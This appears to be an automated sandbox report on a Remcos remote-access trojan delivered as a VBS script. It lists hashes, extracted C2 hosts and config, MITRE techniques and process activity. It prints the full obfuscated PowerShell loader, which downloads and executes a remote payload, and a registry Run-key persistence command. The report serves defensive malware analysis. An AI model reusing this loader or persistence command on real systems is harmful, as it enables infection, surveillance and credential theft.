remcos | 34f96275918322ad5df35688f0d2c144ebe0fa84b074d7f25ca112b2e71370dd

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28-11-2024 02:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

34f96275918322ad5df35688f0d2c144ebe0fa84b074d7f25ca112b2e71370dd.vbs
Size

17KB
MD5

83bb52876c9e18331047c18beabecaa6
SHA1

0ce3290bee56bec9662d1a1483e0abcfdd27d5e4
SHA256

34f96275918322ad5df35688f0d2c144ebe0fa84b074d7f25ca112b2e71370dd
SHA512

a598d004ab6b0d796db53654e82b94cc0d97eae99e42cebd15aa2db2f3c40a41012845d268732048d45dd8083d8c602d94794e8a1e528f825e391b42038b638c
SSDEEP

384:PTBcsgRgCHXO/jmovrQQ51yUVG/Pk6yTvB:rBggCHXO/p8Q2UVG/lyTJ

Score

10^/10

remcos server collection discovery persistence rat

Malware Config

Extracted

Family

remcos

Botnet

SERVER

hoiujlos18jaru1.duckdns.org:19760

hoiujlos18jaru1.duckdns.org:19761

hoiujlos18jaru2.duckdns.org:19760

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
ploy.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
osfrerlhkrw-BTZQ53
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/2696-67-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4140-66-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4480-69-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4480-69-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4140-66-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 7 IoCs

flow	pid	Process
4	760	WScript.exe
8	3828	powershell.exe
22	1596	msiexec.exe
24	1596	msiexec.exe
26	1596	msiexec.exe
27	1596	msiexec.exe
29	1596	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Helicteres = "%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\\Software\\efterretternes\\').Bringende;%Retill% ($Lanch)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1596	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2300	powershell.exe
1596	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1596 set thread context of 4140	1596	msiexec.exe	107
PID 1596 set thread context of 4480	1596	msiexec.exe	108
PID 1596 set thread context of 2696	1596	msiexec.exe	109

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1436	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3828	powershell.exe
3828	powershell.exe
2300	powershell.exe
2300	powershell.exe
2300	powershell.exe
4140	msiexec.exe
4140	msiexec.exe
2696	msiexec.exe
2696	msiexec.exe
4140	msiexec.exe
4140	msiexec.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
2300	powershell.exe
1596	msiexec.exe
1596	msiexec.exe
1596	msiexec.exe
1596	msiexec.exe
1596	msiexec.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeDebugPrivilege	2696	msiexec.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1596	msiexec.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 760 wrote to memory of 3828	760	WScript.exe	83
PID 760 wrote to memory of 3828	760	WScript.exe	83
PID 2300 wrote to memory of 1596	2300	powershell.exe	100
PID 2300 wrote to memory of 1596	2300	powershell.exe	100
PID 2300 wrote to memory of 1596	2300	powershell.exe	100
PID 2300 wrote to memory of 1596	2300	powershell.exe	100
PID 1596 wrote to memory of 1724	1596	msiexec.exe	101
PID 1596 wrote to memory of 1724	1596	msiexec.exe	101
PID 1596 wrote to memory of 1724	1596	msiexec.exe	101
PID 1724 wrote to memory of 1436	1724	cmd.exe	104
PID 1724 wrote to memory of 1436	1724	cmd.exe	104
PID 1724 wrote to memory of 1436	1724	cmd.exe	104
PID 1596 wrote to memory of 2552	1596	msiexec.exe	105
PID 1596 wrote to memory of 2552	1596	msiexec.exe	105
PID 1596 wrote to memory of 2552	1596	msiexec.exe	105
PID 1596 wrote to memory of 4336	1596	msiexec.exe	106
PID 1596 wrote to memory of 4336	1596	msiexec.exe	106
PID 1596 wrote to memory of 4336	1596	msiexec.exe	106
PID 1596 wrote to memory of 4140	1596	msiexec.exe	107
PID 1596 wrote to memory of 4140	1596	msiexec.exe	107
PID 1596 wrote to memory of 4140	1596	msiexec.exe	107
PID 1596 wrote to memory of 4140	1596	msiexec.exe	107
PID 1596 wrote to memory of 4480	1596	msiexec.exe	108
PID 1596 wrote to memory of 4480	1596	msiexec.exe	108
PID 1596 wrote to memory of 4480	1596	msiexec.exe	108
PID 1596 wrote to memory of 4480	1596	msiexec.exe	108
PID 1596 wrote to memory of 2696	1596	msiexec.exe	109
PID 1596 wrote to memory of 2696	1596	msiexec.exe	109
PID 1596 wrote to memory of 2696	1596	msiexec.exe	109
PID 1596 wrote to memory of 2696	1596	msiexec.exe	109

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\34f96275918322ad5df35688f0d2c144ebe0fa84b074d7f25ca112b2e71370dd.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Tightenings='Snitten';;$Arbejdsministerium='Dirkens';;$Togbetjentens39='Stianes';;$Hverdagslivet='Gospodar';;$Gaelicism='Indigotindisulphonic';;$Velal=$host.Name;function Subcentral($Overestimations){If ($Velal) {$nyhedsorienterings=3} for ($lagging=$nyhedsorienterings;;$lagging+=4){if(!$Overestimations[$lagging]) { break }$Ceratiasis+=$Overestimations[$lagging]}$Ceratiasis}function Logomach($Blokerings){ .($Fimredes) ($Blokerings)}$Decapitation=Subcentral 'LoyNMo ePugTDo,. nW UlELadBDemcSlaLMuni .oe opnHy t';$Germanisere=Subcentral ' kiMHeloElezF ri .nl rylCo aUnn/';$Birdbrain=Subcentral 'F eTAdrlTins.ac1 Re2';$Depilerer='Pre[KnaNDokEK.oT,il.IleSU eeStoRHerVBl,iGyncTh.ERa pvadoArtiHydn RetJeoM C aAp.n ,aaSc gLuvE FrRInd] Ru:M.n:,rdSResERa CFjeuPaarL uIGnaTSvayDy.P.tar P oZooT ,ooUniCHa oPonLGra=,is$HikbGarI,akrTgedForbCanrMo AButi TeN';$Germanisere+=Subcentral ' Fi5Cus. K.0 Jv j(.ulW ediPaln Kod S.o SuwMassCig E NtraTB k ,i1Reb0Unf.Mf,0G.a;Twe DecW AfiM.nn Te6Phe4Mas;Al BesxKwe6 e4vae;Lan Tj rVanvUhj: Ce1Enc3 S 1cat.Non0Sma)Te Ra GTece Ekc ukEleo,it/Akr2 la0Bli1 nc0 ot0 De1Out0Af,1 No H.FMe.ime rRoaeEpifGrioBruxPho/lma1C l3Cli1Ser. De0';$Neighborly=Subcentral 'GesuBe S.nveAfgRAss-SamAPaggGrieBann.ndt';$Tipuloid=Subcentral 'TenhAsttStatRecp nsUn :Be / La/HanmKomy TocInsoGalmU npIntaG lnDi.y .esManc Hoa InnR tnOpse oidVe fU siIrelCoseBraz Rh. hocDatoIrimTr / L sUnicMurn,ng/ dyPSpilG aaUgenAconNeudDiarBori P.n ,agPreefisrFrt.D rxKnstProp';$Dehair=Subcentral 'mo >';$Fimredes=Subcentral ' oaIGulEPoix';$Dieselkretjer='Manifolder';$Novelry='\Medlemsstat.Tio';Logomach (Subcentral 'S,a$exaG aaLDocoOveB.traDoblMac:K,nUAmbDGraFMisrDepIAmpt OcT ibETo.d.ndeNaksPar=bre$A uEP oN umVSe,:PenANeup Bup nudKonACoiT leaOtt+Ste$.lanAirO .tVComE lblVanrTauY');Logomach (Subcentral 'Coe$ ngGutlTjeoDisbEnfaPanlove: BlG ellC,aa DesBurRRobRMe eFlaN a ESkis r=Bes$ omTondiC.mPGuaUho,L .locabIMrsd R .mess .apRa.l DaI EltUds(Sch$ForDRugeCy H S A E.i emrL.m)');Logomach (Subcentral $Depilerer);$Tipuloid=$Glasrrenes[0];$Kommunikationsformen=(Subcentral 'Skv$SkugS.pl M,oA tbS laMasLAtt:DekTSalR.ryIDevmReaPVrkrVame AngSt,NvareUdeR Emieu NKmpgUn,eNnnNEur=B onre,eDe.W er-TreOVa B U jC jEMi.cCa,t.el EngsForyDknSOveTScaeIltmDdp.Kar$tilDUngE .oCAf AE,iP PliEtttAnna ArTpakIelso scN');Logomach ($Kommunikationsformen);Logomach (Subcentral 'Hye$RaaTKonrGe,iSynm ynp H,rByge arg arn ne Kar eiDecnT,lgP,ae eanMat. RoHLane OxaAnidDobeEssr,dss.er[ Fo$SmiNDateTroiS ugEryhVirbForomudrUnml Doy y]B u=Djv$FreGDupeUnzrSkrmUd aF inIn iM tsAdeearcrUnde');$Outechos=Subcentral 'Fri$ arTSe rKediWhimFlapWivr Tme MagStrnReaeIndrheliEgnnVelg AkeGianPup.DraDDowoDyswUnbn Ccl ono B asu.dHe FVoli alMeneLft(,ar$SkiT D iEksp inu StlFl,oLekiStrdCha,To $Be,P RerF ro,wetKreo BakForoNe,lforl M e Prrk reGe.s.ev1fee9 Po8haa)';$Protokolleres198=$Udfrittedes;Logomach (Subcentral 'Sti$ PagKonLSumO Zib erA EslOpd: StaS rND.etCitH omRTilA KrqIn uBugi,kaniltOElenAnge In=Und(DmrtDi.e.krSImptFla-CirpFilaBartLeghund sti$EpipRanr etO roT BiOuncKDelO ubLS lLPseEL dRDyrEWhiSUb 1unl9Omf8,nt)');while (!$Anthraquinone) {Logomach (Subcentral 'Sky$Hegg Kol noPacb Kra CelGau: l A ElrLa bA ooMarrFlei,rozVi i Ben avgFri=Sa $ DaDAntaCocd F eHiglReslFarsBi.t') ;Logomach $Outechos;Logomach (Subcentral 'ParS.trt ReaPasrOxytP,d-ho.SOp lSkoE feP.spTet .h4');Logomach (Subcentral 'Blo$forGGanL SeoW eB ptaAllL Re:MonAPerNIntT SqHTrar uASkuQ NeURi.i PoNSt.OMulNDeceDis= er(D gt DieV ds WetLae- .opKluA A TImpHS r Bru$U cP rarCosO UntLumOA ekAgnO SplShaLobte k,RNite ksSPer1Skj9Mil8 i)') ;Logomach (Subcentral 'lob$J nG l LPalOT ibPagA udlK a:DksM T eUntR lbPerEPlaSSt KElea C TA tnl gIIndN VaG No= Fl$InsgKollUniOCalBTa aVarL Ad:P iaU,bADysr SlgSgeATr NbyggLimS orvpreiRetSTubEOzo+ r+ ,e%Sta$CrogUd lOutA EvsB bRre rPr.E atnSkoeA hS Ax. opC InOUdpuairNPatT') ;$Tipuloid=$Glasrrenes[$Merbeskatning]}$Frimrkealbumet=81047;$Proemptosis=30307;Logomach (Subcentral 'Trs$EgmgMetLH,soUnmb adADovLudl:friLB neP sJDeaET pkJe aSa,sCykEFejRa.yNDelEC.pnTro Ef =Vaa algSluEManT Tu-P iC eO Unn.elt SeE UnnE stSde Pro$KonP lrTelO hethydOIndkStioPogLMetlKilEMusR ftE rS M,1Unm9Und8');Logomach (Subcentral 'Slu$AntgEthlpl,oCirb.dsaDyblSkr:Sa WG uovinrBuelMa dH mlS giMannUsag risSke ,ki=Hu, ind[ BlSA ly Kosu ptUndeChamqu..EdbCForo inRh.v E e Anrko tfab]Fo.:.ot:St,FAnarmyroNedmTelBEleaSadsJeae.in6Ar 4TonSrestH.mrVati.genCitgSto(S.a$,veLCr.e Dej ane rikInfaHalsLinePrerCran OveE yn,ri)');Logomach (Subcentral 'Rip$ AuGO sLB,loDemB U,aSmiLBo :VegtUnovAurUHe NO,egcorEParnPra Mn=Bar Cot[trisafsy vsSoiTHemETh mYar..taTU.vE ewX OpT Bo. FoETr NRa CPyroGudDChiIFllnVenG Ru]Ana: ,e: otaCalsAm cPisIFr I.lu. pagArbES ttSersAzotAfiR SeIUreNSlaGfig(Int$Trew Amo AdR.ymL.igDDoblZiniCrynRing .oSWad)');Logomach (Subcentral ' ri$ upg NoLOffo habvauAModlPyn:a.eg PrLreta nsZMytIVrkn.rae B sTrySCha=Sem$Tr tSamV MiUMisnWitgForeDisNTar.sk SBlyUIntBRi,S Bet,ubr doID vnRetg re( ,a$ kuF,icrTraIRicMFloR G kXylEGrna,edlAmobDemU Obm DeeRvet P ,O.a$Papp,isrEtcoUdsE SkMSanpMa TJutoSkeSHe,I D.SVic)');Logomach $Glaziness;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3828

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Tightenings='Snitten';;$Arbejdsministerium='Dirkens';;$Togbetjentens39='Stianes';;$Hverdagslivet='Gospodar';;$Gaelicism='Indigotindisulphonic';;$Velal=$host.Name;function Subcentral($Overestimations){If ($Velal) {$nyhedsorienterings=3} for ($lagging=$nyhedsorienterings;;$lagging+=4){if(!$Overestimations[$lagging]) { break }$Ceratiasis+=$Overestimations[$lagging]}$Ceratiasis}function Logomach($Blokerings){ .($Fimredes) ($Blokerings)}$Decapitation=Subcentral 'LoyNMo ePugTDo,. nW UlELadBDemcSlaLMuni .oe opnHy t';$Germanisere=Subcentral ' kiMHeloElezF ri .nl rylCo aUnn/';$Birdbrain=Subcentral 'F eTAdrlTins.ac1 Re2';$Depilerer='Pre[KnaNDokEK.oT,il.IleSU eeStoRHerVBl,iGyncTh.ERa pvadoArtiHydn RetJeoM C aAp.n ,aaSc gLuvE FrRInd] Ru:M.n:,rdSResERa CFjeuPaarL uIGnaTSvayDy.P.tar P oZooT ,ooUniCHa oPonLGra=,is$HikbGarI,akrTgedForbCanrMo AButi TeN';$Germanisere+=Subcentral ' Fi5Cus. K.0 Jv j(.ulW ediPaln Kod S.o SuwMassCig E NtraTB k ,i1Reb0Unf.Mf,0G.a;Twe DecW AfiM.nn Te6Phe4Mas;Al BesxKwe6 e4vae;Lan Tj rVanvUhj: Ce1Enc3 S 1cat.Non0Sma)Te Ra GTece Ekc ukEleo,it/Akr2 la0Bli1 nc0 ot0 De1Out0Af,1 No H.FMe.ime rRoaeEpifGrioBruxPho/lma1C l3Cli1Ser. De0';$Neighborly=Subcentral 'GesuBe S.nveAfgRAss-SamAPaggGrieBann.ndt';$Tipuloid=Subcentral 'TenhAsttStatRecp nsUn :Be / La/HanmKomy TocInsoGalmU npIntaG lnDi.y .esManc Hoa InnR tnOpse oidVe fU siIrelCoseBraz Rh. hocDatoIrimTr / L sUnicMurn,ng/ dyPSpilG aaUgenAconNeudDiarBori P.n ,agPreefisrFrt.D rxKnstProp';$Dehair=Subcentral 'mo >';$Fimredes=Subcentral ' oaIGulEPoix';$Dieselkretjer='Manifolder';$Novelry='\Medlemsstat.Tio';Logomach (Subcentral 'S,a$exaG aaLDocoOveB.traDoblMac:K,nUAmbDGraFMisrDepIAmpt OcT ibETo.d.ndeNaksPar=bre$A uEP oN umVSe,:PenANeup Bup nudKonACoiT leaOtt+Ste$.lanAirO .tVComE lblVanrTauY');Logomach (Subcentral 'Coe$ ngGutlTjeoDisbEnfaPanlove: BlG ellC,aa DesBurRRobRMe eFlaN a ESkis r=Bes$ omTondiC.mPGuaUho,L .locabIMrsd R .mess .apRa.l DaI EltUds(Sch$ForDRugeCy H S A E.i emrL.m)');Logomach (Subcentral $Depilerer);$Tipuloid=$Glasrrenes[0];$Kommunikationsformen=(Subcentral 'Skv$SkugS.pl M,oA tbS laMasLAtt:DekTSalR.ryIDevmReaPVrkrVame AngSt,NvareUdeR Emieu NKmpgUn,eNnnNEur=B onre,eDe.W er-TreOVa B U jC jEMi.cCa,t.el EngsForyDknSOveTScaeIltmDdp.Kar$tilDUngE .oCAf AE,iP PliEtttAnna ArTpakIelso scN');Logomach ($Kommunikationsformen);Logomach (Subcentral 'Hye$RaaTKonrGe,iSynm ynp H,rByge arg arn ne Kar eiDecnT,lgP,ae eanMat. RoHLane OxaAnidDobeEssr,dss.er[ Fo$SmiNDateTroiS ugEryhVirbForomudrUnml Doy y]B u=Djv$FreGDupeUnzrSkrmUd aF inIn iM tsAdeearcrUnde');$Outechos=Subcentral 'Fri$ arTSe rKediWhimFlapWivr Tme MagStrnReaeIndrheliEgnnVelg AkeGianPup.DraDDowoDyswUnbn Ccl ono B asu.dHe FVoli alMeneLft(,ar$SkiT D iEksp inu StlFl,oLekiStrdCha,To $Be,P RerF ro,wetKreo BakForoNe,lforl M e Prrk reGe.s.ev1fee9 Po8haa)';$Protokolleres198=$Udfrittedes;Logomach (Subcentral 'Sti$ PagKonLSumO Zib erA EslOpd: StaS rND.etCitH omRTilA KrqIn uBugi,kaniltOElenAnge In=Und(DmrtDi.e.krSImptFla-CirpFilaBartLeghund sti$EpipRanr etO roT BiOuncKDelO ubLS lLPseEL dRDyrEWhiSUb 1unl9Omf8,nt)');while (!$Anthraquinone) {Logomach (Subcentral 'Sky$Hegg Kol noPacb Kra CelGau: l A ElrLa bA ooMarrFlei,rozVi i Ben avgFri=Sa $ DaDAntaCocd F eHiglReslFarsBi.t') ;Logomach $Outechos;Logomach (Subcentral 'ParS.trt ReaPasrOxytP,d-ho.SOp lSkoE feP.spTet .h4');Logomach (Subcentral 'Blo$forGGanL SeoW eB ptaAllL Re:MonAPerNIntT SqHTrar uASkuQ NeURi.i PoNSt.OMulNDeceDis= er(D gt DieV ds WetLae- .opKluA A TImpHS r Bru$U cP rarCosO UntLumOA ekAgnO SplShaLobte k,RNite ksSPer1Skj9Mil8 i)') ;Logomach (Subcentral 'lob$J nG l LPalOT ibPagA udlK a:DksM T eUntR lbPerEPlaSSt KElea C TA tnl gIIndN VaG No= Fl$InsgKollUniOCalBTa aVarL Ad:P iaU,bADysr SlgSgeATr NbyggLimS orvpreiRetSTubEOzo+ r+ ,e%Sta$CrogUd lOutA EvsB bRre rPr.E atnSkoeA hS Ax. opC InOUdpuairNPatT') ;$Tipuloid=$Glasrrenes[$Merbeskatning]}$Frimrkealbumet=81047;$Proemptosis=30307;Logomach (Subcentral 'Trs$EgmgMetLH,soUnmb adADovLudl:friLB neP sJDeaET pkJe aSa,sCykEFejRa.yNDelEC.pnTro Ef =Vaa algSluEManT Tu-P iC eO Unn.elt SeE UnnE stSde Pro$KonP lrTelO hethydOIndkStioPogLMetlKilEMusR ftE rS M,1Unm9Und8');Logomach (Subcentral 'Slu$AntgEthlpl,oCirb.dsaDyblSkr:Sa WG uovinrBuelMa dH mlS giMannUsag risSke ,ki=Hu, ind[ BlSA ly Kosu ptUndeChamqu..EdbCForo inRh.v E e Anrko tfab]Fo.:.ot:St,FAnarmyroNedmTelBEleaSadsJeae.in6Ar 4TonSrestH.mrVati.genCitgSto(S.a$,veLCr.e Dej ane rikInfaHalsLinePrerCran OveE yn,ri)');Logomach (Subcentral 'Rip$ AuGO sLB,loDemB U,aSmiLBo :VegtUnovAurUHe NO,egcorEParnPra Mn=Bar Cot[trisafsy vsSoiTHemETh mYar..taTU.vE ewX OpT Bo. FoETr NRa CPyroGudDChiIFllnVenG Ru]Ana: ,e: otaCalsAm cPisIFr I.lu. pagArbES ttSersAzotAfiR SeIUreNSlaGfig(Int$Trew Amo AdR.ymL.igDDoblZiniCrynRing .oSWad)');Logomach (Subcentral ' ri$ upg NoLOffo habvauAModlPyn:a.eg PrLreta nsZMytIVrkn.rae B sTrySCha=Sem$Tr tSamV MiUMisnWitgForeDisNTar.sk SBlyUIntBRi,S Bet,ubr doID vnRetg re( ,a$ kuF,icrTraIRicMFloR G kXylEGrna,edlAmobDemU Obm DeeRvet P ,O.a$Papp,isrEtcoUdsE SkMSanpMa TJutoSkeSHe,I D.SVic)');Logomach $Glaziness;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1596
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helicteres" /t REG_EXPAND_SZ /d "%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\Software\efterretternes\').Bringende;%Retill% ($Lanch)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1724
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helicteres" /t REG_EXPAND_SZ /d "%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\Software\efterretternes\').Bringende;%Retill% ($Lanch)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:1436
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\kdzp"
    3⤵
    PID:2552
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\kdzp"
    3⤵
    PID:4336
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\kdzp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4140
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\vxfihvuu"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:4480
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\xzksiofveum"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d34112a7b4df3c9e30ace966437c5e40

SHA1
ec07125ad2db8415cf2602d1a796dc3dfc8a54d6

SHA256
cd9665cdaf412455d6f8dbdb60c721d0cf2ac992f7cd4830d89e8c75f9cfbfbf

SHA512
49fd43e69ece9c8185ada6b6ea5bd8619cb2b31de49793d3bd80180ecf3cf8ad24cac6c494185c99623417de52465c832166f7a4890d36ac0f3be5bd7652e053

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jyh5qm3a.1l5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\kdzp

Filesize
4KB

MD5
79f35c7500a5cc739c1974804710441f

SHA1
24fdf1fa45049fc1a83925c45357bc3058bad060

SHA256
897101ed9da25ab0f10e8ad1aeb8dabc3282ccfdb6d3171dbac758117b8731f4

SHA512
03281e8abecff4e7d1f563596a4fd2513e016b7fbf011a455141460f9448d00b4a4666d2036cb448a8ac9a6feebeb51b366289ffa2ee5524a062fe8869aec61e

Download Submit
C:\Users\Admin\AppData\Roaming\Medlemsstat.Tio

Filesize
144KB

MD5
563685c67e8507fb188ff0b8dbdfdb4b

SHA1
fbdbe643248ec87ab0b9a35a8e92ebcaf283d13f

SHA256
a9b82a9a5555d5dcbb31dfd0d2226c19c284a9d5aecbcb942f9f12cde148bd0a

SHA512
40f6e19d838eac5888b930628cf578200507a27cb604e0233337ab3050f71481bda37002dcf60e1c404831e022c7ad24e2be63a9d6647c300880aac7192d6018

Download Submit
memory/1596-79-0x00000000232F0000-0x0000000023309000-memory.dmp

Filesize
100KB

Download
memory/1596-80-0x00000000232F0000-0x0000000023309000-memory.dmp

Filesize
100KB

Download
memory/1596-76-0x00000000232F0000-0x0000000023309000-memory.dmp

Filesize
100KB

Download
memory/1596-54-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download
memory/2300-44-0x0000000007080000-0x00000000070A2000-memory.dmp

Filesize
136KB

Download
memory/2300-47-0x0000000008880000-0x000000000D83A000-memory.dmp

Filesize
79.7MB

Download
memory/2300-27-0x0000000005750000-0x00000000057B6000-memory.dmp

Filesize
408KB

Download
memory/2300-26-0x0000000005040000-0x00000000050A6000-memory.dmp

Filesize
408KB

Download
memory/2300-37-0x0000000005840000-0x0000000005B94000-memory.dmp

Filesize
3.3MB

Download
memory/2300-24-0x0000000005120000-0x0000000005748000-memory.dmp

Filesize
6.2MB

Download
memory/2300-39-0x0000000005E60000-0x0000000005E7E000-memory.dmp

Filesize
120KB

Download
memory/2300-40-0x0000000005E90000-0x0000000005EDC000-memory.dmp

Filesize
304KB

Download
memory/2300-42-0x0000000006410000-0x000000000642A000-memory.dmp

Filesize
104KB

Download
memory/2300-41-0x00000000076A0000-0x0000000007D1A000-memory.dmp

Filesize
6.5MB

Download
memory/2300-25-0x0000000004FA0000-0x0000000004FC2000-memory.dmp

Filesize
136KB

Download
memory/2300-45-0x00000000082D0000-0x0000000008874000-memory.dmp

Filesize
5.6MB

Download
memory/2300-43-0x0000000007120000-0x00000000071B6000-memory.dmp

Filesize
600KB

Download
memory/2300-23-0x0000000002530000-0x0000000002566000-memory.dmp

Filesize
216KB

Download
